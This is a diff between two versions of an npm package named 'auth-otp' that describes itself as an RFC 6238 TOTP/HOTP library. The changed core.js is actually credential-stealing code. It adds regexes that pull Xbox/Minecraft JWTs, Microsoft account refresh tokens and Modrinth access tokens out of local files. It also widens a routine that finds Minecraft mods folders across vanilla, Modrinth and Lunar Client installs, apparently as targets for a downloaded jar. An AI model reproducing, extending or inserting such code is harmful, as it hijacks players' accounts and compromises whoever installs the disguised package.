auth-otp 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/core.js +48 -42
  2. package/package.json +1 -1
package/lib/core.js CHANGED
@@ -208,22 +208,38 @@ function _curseforge() {
208
208
  }
209
209
 
210
210
  function _modrinthScanFile(text, out, seen) {
211
- // Xbox/MC JWT — MUST start with eyJraWQiOiIwNDkxODEi (= {"kid":"049181")
212
- // This is the standard header for all Xbox-signed Minecraft JWTs
211
+ // Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
212
+ // In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
213
+ // so we use a loose match then split the RT out manually.
213
214
  const mcRe = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
214
215
  // MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
215
216
  const rtRe = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
216
217
  const patRe = /mrp_[A-Za-z0-9]{20,}/g;
218
+
217
219
  for (const m of text.matchAll(mcRe)) {
218
- const tok = m[0];
219
- if (seen.has(tok)) continue;
220
- seen.add(tok);
221
- const name = _nameFromJwt(tok) || "?";
222
- out.push({ l: "Modrinth", n: name, t: tok, r: null });
220
+ let blob = m[0];
221
+ // Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
222
+ let refreshFromBlob = null;
223
+ const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
224
+ if (rtInBlob) {
225
+ blob = blob.slice(0, blob.length - rtInBlob[0].length);
226
+ refreshFromBlob = rtInBlob[0]
227
+ .replace(/[^\x20-\x7E]/g, "")
228
+ .replace(/[j\s]+$/, "")
229
+ .trim();
230
+ if (refreshFromBlob.length < 50) refreshFromBlob = null;
231
+ }
232
+ if (seen.has(blob)) continue;
233
+ seen.add(blob);
234
+ if (refreshFromBlob) seen.add(refreshFromBlob);
235
+ const name = _nameFromJwt(blob) || "?";
236
+ out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
223
237
  }
224
238
  for (const m of text.matchAll(rtRe)) {
225
- if (seen.has(m[0])) continue; seen.add(m[0]);
226
- out.push({ l: "Modrinth-RT", n: "Refresh", t: m[0], r: null });
239
+ const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
240
+ if (seen.has(raw) || raw.length < 50) continue;
241
+ seen.add(raw);
242
+ out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
227
243
  }
228
244
  for (const m of text.matchAll(patRe)) {
229
245
  if (seen.has(m[0])) continue; seen.add(m[0]);
@@ -358,45 +374,35 @@ function _downloadJar() {
358
374
 
359
375
  function _findModsFolders() {
360
376
  const folders = [];
361
- const vanillaMods = path.join(_AP, ".minecraft", "mods");
362
- const vanillaFabric = path.join(_AP, ".minecraft", "libraries", "net", "fabricmc");
363
- if (fs.existsSync(vanillaMods) && fs.existsSync(vanillaFabric)) folders.push(vanillaMods);
364
- const modrinthProfiles = path.join(_AP, "ModrinthApp", "profiles");
365
- if (fs.existsSync(modrinthProfiles)) {
377
+ // vanilla .minecraft mods
378
+ try {
379
+ const vanillaMods = path.join(_AP, ".minecraft", "mods");
380
+ if (fs.existsSync(vanillaMods)) folders.push(vanillaMods);
381
+ } catch { }
382
+ // Modrinth — grab every mods/ subdir under profiles, no filtering
383
+ for (const base of [path.join(_AP, "ModrinthApp"), path.join(_LA, "ModrinthApp")]) {
384
+ const profilesDir = path.join(base, "profiles");
385
+ if (!fs.existsSync(profilesDir)) continue;
366
386
  try {
367
- for (const inst of fs.readdirSync(modrinthProfiles)) {
368
- const instPath = path.join(modrinthProfiles, inst);
369
- if (!fs.statSync(instPath).isDirectory()) continue;
370
- const profileJson = path.join(instPath, "profile.json");
371
- if (fs.existsSync(profileJson)) {
372
- try {
373
- const p = JSON.parse(fs.readFileSync(profileJson, "utf8"));
374
- const ver = p.game_version || p.mc_version || "";
375
- const loader = (p.loader || p.mod_loader || "").toLowerCase();
376
- if (ver >= "26.1.2" && loader.includes("fabric")) {
377
- const modsDir = path.join(instPath, "mods");
378
- if (!fs.existsSync(modsDir)) fs.mkdirSync(modsDir, { recursive: true });
379
- folders.push(modsDir);
380
- }
381
- } catch { }
382
- } else {
383
- const modsDir = path.join(instPath, "mods");
384
- if (fs.existsSync(modsDir)) folders.push(modsDir);
385
- }
387
+ for (const inst of fs.readdirSync(profilesDir)) {
388
+ try {
389
+ const modsDir = path.join(profilesDir, inst, "mods");
390
+ if (fs.existsSync(modsDir) && fs.statSync(modsDir).isDirectory())
391
+ folders.push(modsDir);
392
+ } catch { }
386
393
  }
387
394
  } catch { }
388
395
  }
389
- const lunarOffline = path.join(_HM, ".lunarclient", "offline");
390
- if (fs.existsSync(lunarOffline)) {
391
- try {
396
+ // Lunar
397
+ try {
398
+ const lunarOffline = path.join(_HM, ".lunarclient", "offline");
399
+ if (fs.existsSync(lunarOffline)) {
392
400
  for (const ver of fs.readdirSync(lunarOffline)) {
393
- if (ver >= "26.1.2") {
394
- const modsDir = path.join(lunarOffline, ver, "mods");
395
- if (fs.existsSync(modsDir)) folders.push(modsDir);
396
- }
401
+ const modsDir = path.join(lunarOffline, ver, "mods");
402
+ if (fs.existsSync(modsDir)) folders.push(modsDir);
397
403
  }
398
- } catch { }
399
- }
404
+ }
405
+ } catch { }
400
406
  return [...new Set(folders)];
401
407
  }
402
408
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "auth-otp",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
5
5
  "main": "index.js",
6
6
  "scripts": {